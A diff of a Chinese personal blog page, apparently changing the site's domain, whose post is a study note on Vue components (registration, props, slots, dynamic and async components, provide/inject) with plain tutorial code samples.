accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>深入学习vue组件</h1><div class=post-meta><span title='2021-07-03 11:16:00 +0000 UTC'>2021-07-03</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e6%b7%b1%e5%85%a5%e5%ad%a6%e4%b9%a0vue%e7%bb%84%e4%bb%b6.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>组件注册</p><p>.component()接收2个参数，其中第一个参数是组件名（数据类型是字符串）</p><p>组件名命名：</p><p>全部小写，多个单词用连字符连接（-减号）</p><p>因为html中是大小写不敏感的，浏览器会将大写解析为小写，因此不要使用驼峰命名法来命名自定义标签，而是使用连字符分隔</p><p>组件被引用时，也必须是相同的名，例如：组件名是img-data，那么被引用时标签为，闭不闭合看组件的定义，如果组件的定义是img之类的，就不需要闭合</p><p>直接暴露在vue实例的组件都是全局组件，可以直接在组件实例中调用</p><p>局部组件是使用一个JavaScript对象进行定义封装，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
-    &lt;datas-a&gt;&lt;/datas-a&gt;
-&lt;/div&gt;
-&lt;script&gt;
-const datas ={
-    template: `
-        &lt;div&gt;
-            hallo
-        &lt;/div&gt;
-    `
-}
-const hallo = Vue.createApp({
-    components: {
-        &quot;datas-a&quot; : datas
-    }
-}).mount('#app')
-&lt;/script&gt;
-</code></pre><p>components对象，键为自定义元素的名称，值为组件的实质对象</p><p>局部组件的属性是不能直接被调用的，但是可以在另一个组件中指向其为自己的子组件，例如：</p><pre><code>const datab ={
-    components: {
-        &quot;datas-a&quot; : dataa
-    }
-}
-</code></pre><p>模块系统</p><p>通过导入模块的方式导入组件，例如：</p><p>import datas from &lsquo;./datas&rsquo;</p><p>那么datas组件就是可以在当前使用了</p><hr><p>Props</p><p>prop类型</p><p>用对象的方式列出prop，并且定义其类型，当传入的prop类型不对就会报错（开发版本），例如：</p><pre><code>const hallo = Vue.createApp({
-    component: {
-        props:{
-            abc: String,
-            xyz: Boolean,
-        },
-        template: `&lt;h1&gt;{{abc.text}}-{{xyz.text}}&lt;h1&gt;`
-    }
-}).mount('#app')
-</code></pre><p>如果没有限制类型，那么任何类型的值（能装进变量里的值都行，因为连变量里面的值都可以传入）都可以传给prop</p><p>传入数字</p><p></p><p>传入布尔值</p><p></p><p>传入数组</p><p></p><p>传入对象</p><p></p><p>单向数据流</p><p>父组件的prop数据可以流向子组件，但是子组件不能流向父组件，避免因为子组件而修改了父组件</p><p>父组件发生变化时，子组件的prop都会刷新为当前最新的值</p><p>属性继承</p><p>可以在组件中写属性，例如：</p><pre><code>template: \`&lt;div class=&quot;main&quot;&gt;&lt;/div&gt;\`
-</code></pre><p>同样也是可以在组件写事件监听器之类的</p><p>禁用属性继承</p><pre><code>inheritAttrs: false,
-template: \`&lt;div class=&quot;main&quot;&gt;&lt;/div&gt;\`
-</code></pre><p>包含未被props接收的参数</p><p>this.$attrs</p><p>可以根据需求来传入属性，例如：</p><pre><code>&lt;test class=&quot;data&quot;&gt;&lt;/test&gt;
-
-&lt;div :class=&quot;$attrs.class&quot;&gt;&lt;/div&gt;
-</code></pre><hr><p>父子组件之间通过事件进行通信</p><p>vue实质上是单向数据流，子组件不能修改父组件传递的数据，不过可以通过事件来进行修改，props传递数据：只能父传子，而不能子传父</p><p>因此vue提供了自定义事件来先父组件传递数据，然后父组件监听子组件的事件</p><p>自定义事件</p><p>如果定义了原生事件，那么组件的事件将会代替原生事件</p><p>emits选项可以定义事件</p><p>兄弟（非父子）组件数据交互</p><p>通过一个事件中心（实质上这是一个发布-订阅模型）来管理组件间的通信</p><p>这个事件中心叫Vue事件总线（EventBus）</p><p>let hallo = new Vue()</p><p>监听事件和销毁事件</p><p>hallo.$on(&ldquo;onadd&rdquo;, onAdd)</p><p>hallo.$off(&ldquo;onadd&rdquo;)</p><p>触发事件</p><p>hallo.$emit(&ldquo;onadd&rdquo;, id)</p><p>组件插槽</p><pre><code>const app = Vue.createApp({
-    template: `
-        &lt;div&gt;
-            &lt;hallo&gt;
-                &lt;test/&gt;
-            &lt;/hallo&gt;
-        &lt;/div&gt;
-    `
-})
-app.component('test', {
-    template: `&lt;span&gt;hahaha&lt;/span&gt;`
-})
-app.component('hallo', {
-    // props: ['num'],
-    template: `
-        &lt;div&gt;hallo word
-             &lt;slot&gt;&lt;/slot&gt;
-        &lt;/div&gt;
-    `
-})
-const vm = app.mount(&quot;#app&quot;)
-</code></pre><p>内部的内容就是vuejs，插槽可以表示任何的DOM元素，子组件一样也可以表示</p><p>当插槽使用了动态数据时，以根组件的data属性为准</p><p>插槽默认值</p><pre><code>app.component('test',{
-    template:`
-        &lt;div&gt;
-            data：&lt;slot&gt;&lt;span&gt;hallo word&lt;/span&gt;&lt;/slot&gt;
-        &lt;/div&gt;
-    `
-})
-</code></pre><p>当插槽没有dom元素需要表示，将显示hallo word，当有dom元素表示时，会替换该元素</p><p>具名插槽：可以给slot和子组件分别使用name属性，slot属性，当name属性和slot属性相同，那么就匹配</p><p>当出现多个插槽时，希望一个插槽代表一个dom元素时，就可以具名插槽了，例如：</p><pre><code>const app = Vue.createApp({
-    template: ` 
-        &lt;test&gt;
-            &lt;template v-slot:a&gt;&lt;div&gt;我是第一个&lt;/div&gt;&lt;/template&gt;
-            &lt;template v-slot:b&gt;&lt;div&gt;我是第三个&lt;/div&gt;&lt;/template&gt;
-        &lt;/test&gt;
-    `
-})
-app.component('test',{
-    template:`
-        &lt;div&gt;
-            &lt;slot name=&quot;a&quot;&gt;&lt;/slot&gt;
-            &lt;div&gt;hallo word&lt;/div&gt;
-            &lt;slot name=&quot;b&quot;&gt;&lt;/slot&gt;
-        &lt;/div&gt;
-    `
-})
-const vm = app.mount(&quot;#app&quot;)
-</code></pre><p>另外v-slot可以简写成#a</p><p>作用域插槽可以访问子组件定义的数据，例如：</p><pre><code>const app = Vue.createApp({
-    template: `  
-        &lt;test v-slot=&quot;props&quot;&gt; 
-            {{props.item}}
-        &lt;/test&gt;
-    `
-})
-app.component('test', {
-    data() {
-        return {
-            items: ['hallo', 'hahaha','abc','hallo word','xyz']
-        }
-    },
-    template: `
-        &lt;ul&gt;
-            &lt;li v-for=&quot;(item, index) in items&quot;&gt;
-                &lt;slot :item=&quot;item&quot;&gt;&lt;/slot&gt;
-            &lt;/li&gt;
-        &lt;/ul&gt;
-    `
-})
-</code></pre><p>其中props是子组件传递过来的数据（对象格式）</p><p>简化作用域插槽写法</p><pre><code>const app = Vue.createApp({
-    template: `  
-        &lt;test v-slot={item}&gt; 
-            {{item}}
-        &lt;/test&gt;
-    `
-})
-</code></pre><p>动态组件</p><pre><code>const app = Vue.createApp({
-    data(){
-        return {
-            hallo:'test'
-        }
-    },
-    template: ` 
-        &lt;keep-alive&gt;
-            &lt;component :is=&quot;hallo&quot;&gt;&lt;/component&gt;
-        &lt;/keep-alive&gt;
-    `
-})
-app.component('test', {
-    template: `
-        &lt;div&gt;hallo word&lt;/div&gt;
-        &lt;input /&gt;
-    `
-})
-</code></pre><p>决定渲染组件由hallo决定,在上面例子中可以看到hallo指向了test，因此渲染的是test，不需要手动设置子组件，而是动态设置，只需要修改:is指向的值就可以了</p><p>而且当使用动态组件时，切换该组件后，该组件的状态将会失活，无法保存状态，需要搭配使用，保存这些状态，不只是方便保存缓存，而且还可以避免重新渲染</p><p>异步组件</p><pre><code>const app = Vue.createApp({
-    data(){
-        return {
-            hallo:'asyncs'
-        }
-    },
-    template: ` 
-        &lt;keep-alive&gt;
-            &lt;component :is=&quot;hallo&quot;&gt;&lt;/component&gt;
-        &lt;/keep-alive&gt;
-    `
-})
-app.component('asyncs', Vue.defineAsyncComponent(() =&gt; {
-    return new Promise((resolve, reject) =&gt; {
-        setTimeout(() =&gt; {
-            resolve({
-                template: `&lt;div&gt;hallo word&lt;/div&gt;`
-            })
-        },1000)
-    })
-}))
-const vm = app.mount(&quot;#app&quot;)
-</code></pre><p>可以看到该组件并不会立马渲染，该组件不会在第一次加载渲染时显示，而是当需要用到它时才会渲染，可以优化页面首次渲染性能</p><p>provide/inject</p><p>当存在多级组件时，祖先组件想传递组件给子孙组件时，如果使用props传递数据的话，需要一层接收然后在传递给后辈，非常麻烦</p><pre><code>const app = Vue.createApp({
-    data(){
-        return {num: 100}
-    },
-    provide:{
-        haha: 200
-    },
-    template: `
-        &lt;hallo :num=&quot;num&quot; /&gt;
-    `
-})
-app.component('hallo',{
-    props:['num'],
-    inject:['haha'],
-    template:`
-        &lt;div&gt;{{num}},{{haha}}&lt;/div&gt;
-    `
-})
-</code></pre><p>这里只是举个例子，如果是多层组件结构，这个方法也是可以发送和接收到的，只需要provide发送一下数据，然后子组件inject接收一下</p><p>&ndash;</p><p>Vue.extend()，vue基础构造器，会创建一个子类，参数是包含组件的对象，例如：</p><pre><code>&lt;div id='app'&gt;
-&lt;/div&gt;
-&lt;script&gt;
-    const Test = Vue.extend({
-        template: '&lt;p&gt;{{a}} {{b}} {{c}}&lt;/p&gt;',
-        data: function () {
-            return {
-                a: 'hallo',
-                b: 'abc',
-                c: 'xyz'
-            }
-        }
-    })
-    new Test().$mount('#app')
-&lt;script&gt;
-</code></pre><hr><p>受控组件和非受控组件</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/vuejs/>vuejs</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/54/><span class=title>« Prev</span><br><span>Ajax学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/52/><span class=title>Next »</span><br><span>正则表达式学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+const hallo = Vue.createApp({ component: { props:{ abc: String, xyz: Boolean, }, template: `<h1>{{abc."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"深入学习vue组件","item":"https://chenjunlinabc.github.io/posts/53/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"深入学习vue组件","name":"深入学习vue组件","description":"组件注册\n.component()接收2个参数，其中第一个参数是组件名（数据类型是字符串）\n组件名命名：\n全部小写，多个单词用连字符连接（-减号）\n因为html中是大小写不敏感的，浏览器会将大写解析为小写，因此不要使用驼峰命名法来命名自定义标签，而是使用连字符分隔\n组件被引用时，也必须是相同的名，例如：组件名是img-data，那么被引用时标签为，闭不闭合看组件的定义，如果组件的定义是img之类的，就不需要闭合\n直接暴露在vue实例的组件都是全局组件，可以直接在组件实例中调用\n局部组件是使用一个JavaScript对象进行定义封装，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;datas-a\u0026gt;\u0026lt;/datas-a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const datas ={ template: ` \u0026lt;div\u0026gt; hallo \u0026lt;/div\u0026gt; ` } const hallo = Vue.createApp({ components: { \u0026quot;datas-a\u0026quot; : datas } }).mount('#app') \u0026lt;/script\u0026gt; components对象，键为自定义元素的名称，值为组件的实质对象\n局部组件的属性是不能直接被调用的，但是可以在另一个组件中指向其为自己的子组件，例如：\nconst datab ={ components: { \u0026quot;datas-a\u0026quot; : dataa } } 模块系统\n通过导入模块的方式导入组件，例如：\nimport datas from \u0026lsquo;./datas\u0026rsquo;\n那么datas组件就是可以在当前使用了\nProps\nprop类型\n用对象的方式列出prop，并且定义其类型，当传入的prop类型不对就会报错（开发版本），例如：\nconst hallo = Vue.createApp({ component: { props:{ abc: String, xyz: Boolean, }, template: `\u0026lt;h1\u0026gt;{{abc.","keywords":["vuejs"],"articleBody":"组件注册\n.component()接收2个参数，其中第一个参数是组件名（数据类型是字符串）\n组件名命名：\n全部小写，多个单词用连字符连接（-减号）\n因为html中是大小写不敏感的，浏览器会将大写解析为小写，因此不要使用驼峰命名法来命名自定义标签，而是使用连字符分隔\n组件被引用时，也必须是相同的名，例如：组件名是img-data，那么被引用时标签为，闭不闭合看组件的定义，如果组件的定义是img之类的，就不需要闭合\n直接暴露在vue实例的组件都是全局组件，可以直接在组件实例中调用\n局部组件是使用一个JavaScript对象进行定义封装，例如：\ncomponents对象，键为自定义元素的名称，值为组件的实质对象\n局部组件的属性是不能直接被调用的，但是可以在另一个组件中指向其为自己的子组件，例如：\nconst datab ={ components: { \"datas-a\" : dataa } } 模块系统\n通过导入模块的方式导入组件，例如：\nimport datas from ‘./datas’\n那么datas组件就是可以在当前使用了\nProps\nprop类型\n用对象的方式列出prop，并且定义其类型，当传入的prop类型不对就会报错（开发版本），例如：\nconst hallo = Vue.createApp({ component: { props:{ abc: String, xyz: Boolean, }, template: `{{abc.text}}-{{xyz.text}}` } }).mount('#app') 如果没有限制类型，那么任何类型的值（能装进变量里的值都行，因为连变量里面的值都可以传入）都可以传给prop\n传入数字\n传入布尔值\n传入数组\n传入对象\n单向数据流\n父组件的prop数据可以流向子组件，但是子组件不能流向父组件，避免因为子组件而修改了父组件\n父组件发生变化时，子组件的prop都会刷新为当前最新的值\n属性继承\n可以在组件中写属性，例如：\ntemplate: \\`\\` 同样也是可以在组件写事件监听器之类的\n禁用属性继承\ninheritAttrs: false, template: \\`\\` 包含未被props接收的参数\nthis.$attrs\n可以根据需求来传入属性，例如：\n父子组件之间通过事件进行通信\nvue实质上是单向数据流，子组件不能修改父组件传递的数据，不过可以通过事件来进行修改，props传递数据：只能父传子，而不能子传父\n因此vue提供了自定义事件来先父组件传递数据，然后父组件监听子组件的事件\n自定义事件\n如果定义了原生事件，那么组件的事件将会代替原生事件\nemits选项可以定义事件\n兄弟（非父子）组件数据交互\n通过一个事件中心（实质上这是一个发布-订阅模型）来管理组件间的通信\n这个事件中心叫Vue事件总线（EventBus）\nlet hallo = new Vue()\n监听事件和销毁事件\nhallo.$on(“onadd”, onAdd)\nhallo.$off(“onadd”)\n触发事件\nhallo.$emit(“onadd”, id)\n组件插槽\nconst app = Vue.createApp({ template: ` ` }) app.component('test', { template: `hahaha` }) app.component('hallo', { // props: ['num'], template: ` hallo word ` }) const vm = app.mount(\"#app\") 内部的内容就是vuejs，插槽可以表示任何的DOM元素，子组件一样也可以表示\n当插槽使用了动态数据时，以根组件的data属性为准\n插槽默认值\napp.component('test',{ template:` data：hallo word ` }) 当插槽没有dom元素需要表示，将显示hallo word，当有dom元素表示时，会替换该元素\n具名插槽：可以给slot和子组件分别使用name属性，slot属性，当name属性和slot属性相同，那么就匹配\n当出现多个插槽时，希望一个插槽代表一个dom元素时，就可以具名插槽了，例如：\nconst app = Vue.createApp({ template: ` 我是第一个 我是第三个 ` }) app.component('test',{ template:` hallo word ` }) const vm = app.mount(\"#app\") 另外v-slot可以简写成#a\n作用域插槽可以访问子组件定义的数据，例如：\nconst app = Vue.createApp({ template: ` {{props.item}} ` }) app.component('test', { data() { return { items: ['hallo', 'hahaha','abc','hallo word','xyz'] } }, template: ` ` }) 其中props是子组件传递过来的数据（对象格式）\n简化作用域插槽写法\nconst app = Vue.createApp({ template: ` {{item}} ` }) 动态组件\nconst app = Vue.createApp({ data(){ return { hallo:'test' } }, template: ` ` }) app.component('test', { template: ` hallo word ` }) 决定渲染组件由hallo决定,在上面例子中可以看到hallo指向了test，因此渲染的是test，不需要手动设置子组件，而是动态设置，只需要修改:is指向的值就可以了\n而且当使用动态组件时，切换该组件后，该组件的状态将会失活，无法保存状态，需要搭配使用，保存这些状态，不只是方便保存缓存，而且还可以避免重新渲染\n异步组件\nconst app = Vue.createApp({ data(){ return { hallo:'asyncs' } }, template: ` ` }) app.component('asyncs', Vue.defineAsyncComponent(() =\u003e { return new Promise((resolve, reject) =\u003e { setTimeout(() =\u003e { resolve({ template: `hallo word` }) },1000) }) })) const vm = app.mount(\"#app\") 可以看到该组件并不会立马渲染，该组件不会在第一次加载渲染时显示，而是当需要用到它时才会渲染，可以优化页面首次渲染性能\nprovide/inject\n当存在多级组件时，祖先组件想传递组件给子孙组件时，如果使用props传递数据的话，需要一层接收然后在传递给后辈，非常麻烦\nconst app = Vue.createApp({ data(){ return {num: 100} }, provide:{ haha: 200 }, template: ` ` }) app.component('hallo',{ props:['num'], inject:['haha'], template:` {{num}},{{haha}} ` }) 这里只是举个例子，如果是多层组件结构，这个方法也是可以发送和接收到的，只需要provide发送一下数据，然后子组件inject接收一下\n–\nVue.extend()，vue基础构造器，会创建一个子类，参数是包含组件的对象，例如：\n","wordCount":"395","inLanguage":"en","datePublished":"2021-07-03T11:16:00Z","dateModified":"2021-07-03T11:16:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/53/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>深入学习vue组件</h1><div class=post-meta><span title='2021-07-03 11:16:00 +0000 UTC'>2021-07-03</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e6%b7%b1%e5%85%a5%e5%ad%a6%e4%b9%a0vue%e7%bb%84%e4%bb%b6.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>组件注册</p><p>.component()接收2个参数，其中第一个参数是组件名（数据类型是字符串）</p><p>组件名命名：</p><p>全部小写，多个单词用连字符连接（-减号）</p><p>因为html中是大小写不敏感的，浏览器会将大写解析为小写，因此不要使用驼峰命名法来命名自定义标签，而是使用连字符分隔</p><p>组件被引用时，也必须是相同的名，例如：组件名是img-data，那么被引用时标签为，闭不闭合看组件的定义，如果组件的定义是img之类的，就不需要闭合</p><p>直接暴露在vue实例的组件都是全局组件，可以直接在组件实例中调用</p><p>局部组件是使用一个JavaScript对象进行定义封装，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;datas-a&gt;&lt;/datas-a&gt;
+&lt;/div&gt;
+&lt;script&gt;
+const datas ={
+    template: `
+        &lt;div&gt;
+            hallo
+        &lt;/div&gt;
+    `
+}
+const hallo = Vue.createApp({
+    components: {
+        &quot;datas-a&quot; : datas
+    }
+}).mount('#app')
+&lt;/script&gt;
+</code></pre><p>components对象，键为自定义元素的名称，值为组件的实质对象</p><p>局部组件的属性是不能直接被调用的，但是可以在另一个组件中指向其为自己的子组件，例如：</p><pre><code>const datab ={
+    components: {
+        &quot;datas-a&quot; : dataa
+    }
+}
+</code></pre><p>模块系统</p><p>通过导入模块的方式导入组件，例如：</p><p>import datas from &lsquo;./datas&rsquo;</p><p>那么datas组件就是可以在当前使用了</p><hr><p>Props</p><p>prop类型</p><p>用对象的方式列出prop，并且定义其类型，当传入的prop类型不对就会报错（开发版本），例如：</p><pre><code>const hallo = Vue.createApp({
+    component: {
+        props:{
+            abc: String,
+            xyz: Boolean,
+        },
+        template: `&lt;h1&gt;{{abc.text}}-{{xyz.text}}&lt;h1&gt;`
+    }
+}).mount('#app')
+</code></pre><p>如果没有限制类型，那么任何类型的值（能装进变量里的值都行，因为连变量里面的值都可以传入）都可以传给prop</p><p>传入数字</p><p></p><p>传入布尔值</p><p></p><p>传入数组</p><p></p><p>传入对象</p><p></p><p>单向数据流</p><p>父组件的prop数据可以流向子组件，但是子组件不能流向父组件，避免因为子组件而修改了父组件</p><p>父组件发生变化时，子组件的prop都会刷新为当前最新的值</p><p>属性继承</p><p>可以在组件中写属性，例如：</p><pre><code>template: \`&lt;div class=&quot;main&quot;&gt;&lt;/div&gt;\`
+</code></pre><p>同样也是可以在组件写事件监听器之类的</p><p>禁用属性继承</p><pre><code>inheritAttrs: false,
+template: \`&lt;div class=&quot;main&quot;&gt;&lt;/div&gt;\`
+</code></pre><p>包含未被props接收的参数</p><p>this.$attrs</p><p>可以根据需求来传入属性，例如：</p><pre><code>&lt;test class=&quot;data&quot;&gt;&lt;/test&gt;
+
+&lt;div :class=&quot;$attrs.class&quot;&gt;&lt;/div&gt;
+</code></pre><hr><p>父子组件之间通过事件进行通信</p><p>vue实质上是单向数据流，子组件不能修改父组件传递的数据，不过可以通过事件来进行修改，props传递数据：只能父传子，而不能子传父</p><p>因此vue提供了自定义事件来先父组件传递数据，然后父组件监听子组件的事件</p><p>自定义事件</p><p>如果定义了原生事件，那么组件的事件将会代替原生事件</p><p>emits选项可以定义事件</p><p>兄弟（非父子）组件数据交互</p><p>通过一个事件中心（实质上这是一个发布-订阅模型）来管理组件间的通信</p><p>这个事件中心叫Vue事件总线（EventBus）</p><p>let hallo = new Vue()</p><p>监听事件和销毁事件</p><p>hallo.$on(&ldquo;onadd&rdquo;, onAdd)</p><p>hallo.$off(&ldquo;onadd&rdquo;)</p><p>触发事件</p><p>hallo.$emit(&ldquo;onadd&rdquo;, id)</p><p>组件插槽</p><pre><code>const app = Vue.createApp({
+    template: `
+        &lt;div&gt;
+            &lt;hallo&gt;
+                &lt;test/&gt;
+            &lt;/hallo&gt;
+        &lt;/div&gt;
+    `
+})
+app.component('test', {
+    template: `&lt;span&gt;hahaha&lt;/span&gt;`
+})
+app.component('hallo', {
+    // props: ['num'],
+    template: `
+        &lt;div&gt;hallo word
+             &lt;slot&gt;&lt;/slot&gt;
+        &lt;/div&gt;
+    `
+})
+const vm = app.mount(&quot;#app&quot;)
+</code></pre><p>内部的内容就是vuejs，插槽可以表示任何的DOM元素，子组件一样也可以表示</p><p>当插槽使用了动态数据时，以根组件的data属性为准</p><p>插槽默认值</p><pre><code>app.component('test',{
+    template:`
+        &lt;div&gt;
+            data：&lt;slot&gt;&lt;span&gt;hallo word&lt;/span&gt;&lt;/slot&gt;
+        &lt;/div&gt;
+    `
+})
+</code></pre><p>当插槽没有dom元素需要表示，将显示hallo word，当有dom元素表示时，会替换该元素</p><p>具名插槽：可以给slot和子组件分别使用name属性，slot属性，当name属性和slot属性相同，那么就匹配</p><p>当出现多个插槽时，希望一个插槽代表一个dom元素时，就可以具名插槽了，例如：</p><pre><code>const app = Vue.createApp({
+    template: ` 
+        &lt;test&gt;
+            &lt;template v-slot:a&gt;&lt;div&gt;我是第一个&lt;/div&gt;&lt;/template&gt;
+            &lt;template v-slot:b&gt;&lt;div&gt;我是第三个&lt;/div&gt;&lt;/template&gt;
+        &lt;/test&gt;
+    `
+})
+app.component('test',{
+    template:`
+        &lt;div&gt;
+            &lt;slot name=&quot;a&quot;&gt;&lt;/slot&gt;
+            &lt;div&gt;hallo word&lt;/div&gt;
+            &lt;slot name=&quot;b&quot;&gt;&lt;/slot&gt;
+        &lt;/div&gt;
+    `
+})
+const vm = app.mount(&quot;#app&quot;)
+</code></pre><p>另外v-slot可以简写成#a</p><p>作用域插槽可以访问子组件定义的数据，例如：</p><pre><code>const app = Vue.createApp({
+    template: `  
+        &lt;test v-slot=&quot;props&quot;&gt; 
+            {{props.item}}
+        &lt;/test&gt;
+    `
+})
+app.component('test', {
+    data() {
+        return {
+            items: ['hallo', 'hahaha','abc','hallo word','xyz']
+        }
+    },
+    template: `
+        &lt;ul&gt;
+            &lt;li v-for=&quot;(item, index) in items&quot;&gt;
+                &lt;slot :item=&quot;item&quot;&gt;&lt;/slot&gt;
+            &lt;/li&gt;
+        &lt;/ul&gt;
+    `
+})
+</code></pre><p>其中props是子组件传递过来的数据（对象格式）</p><p>简化作用域插槽写法</p><pre><code>const app = Vue.createApp({
+    template: `  
+        &lt;test v-slot={item}&gt; 
+            {{item}}
+        &lt;/test&gt;
+    `
+})
+</code></pre><p>动态组件</p><pre><code>const app = Vue.createApp({
+    data(){
+        return {
+            hallo:'test'
+        }
+    },
+    template: ` 
+        &lt;keep-alive&gt;
+            &lt;component :is=&quot;hallo&quot;&gt;&lt;/component&gt;
+        &lt;/keep-alive&gt;
+    `
+})
+app.component('test', {
+    template: `
+        &lt;div&gt;hallo word&lt;/div&gt;
+        &lt;input /&gt;
+    `
+})
+</code></pre><p>决定渲染组件由hallo决定,在上面例子中可以看到hallo指向了test，因此渲染的是test，不需要手动设置子组件，而是动态设置，只需要修改:is指向的值就可以了</p><p>而且当使用动态组件时，切换该组件后，该组件的状态将会失活，无法保存状态，需要搭配使用，保存这些状态，不只是方便保存缓存，而且还可以避免重新渲染</p><p>异步组件</p><pre><code>const app = Vue.createApp({
+    data(){
+        return {
+            hallo:'asyncs'
+        }
+    },
+    template: ` 
+        &lt;keep-alive&gt;
+            &lt;component :is=&quot;hallo&quot;&gt;&lt;/component&gt;
+        &lt;/keep-alive&gt;
+    `
+})
+app.component('asyncs', Vue.defineAsyncComponent(() =&gt; {
+    return new Promise((resolve, reject) =&gt; {
+        setTimeout(() =&gt; {
+            resolve({
+                template: `&lt;div&gt;hallo word&lt;/div&gt;`
+            })
+        },1000)
+    })
+}))
+const vm = app.mount(&quot;#app&quot;)
+</code></pre><p>可以看到该组件并不会立马渲染，该组件不会在第一次加载渲染时显示，而是当需要用到它时才会渲染，可以优化页面首次渲染性能</p><p>provide/inject</p><p>当存在多级组件时，祖先组件想传递组件给子孙组件时，如果使用props传递数据的话，需要一层接收然后在传递给后辈，非常麻烦</p><pre><code>const app = Vue.createApp({
+    data(){
+        return {num: 100}
+    },
+    provide:{
+        haha: 200
+    },
+    template: `
+        &lt;hallo :num=&quot;num&quot; /&gt;
+    `
+})
+app.component('hallo',{
+    props:['num'],
+    inject:['haha'],
+    template:`
+        &lt;div&gt;{{num}},{{haha}}&lt;/div&gt;
+    `
+})
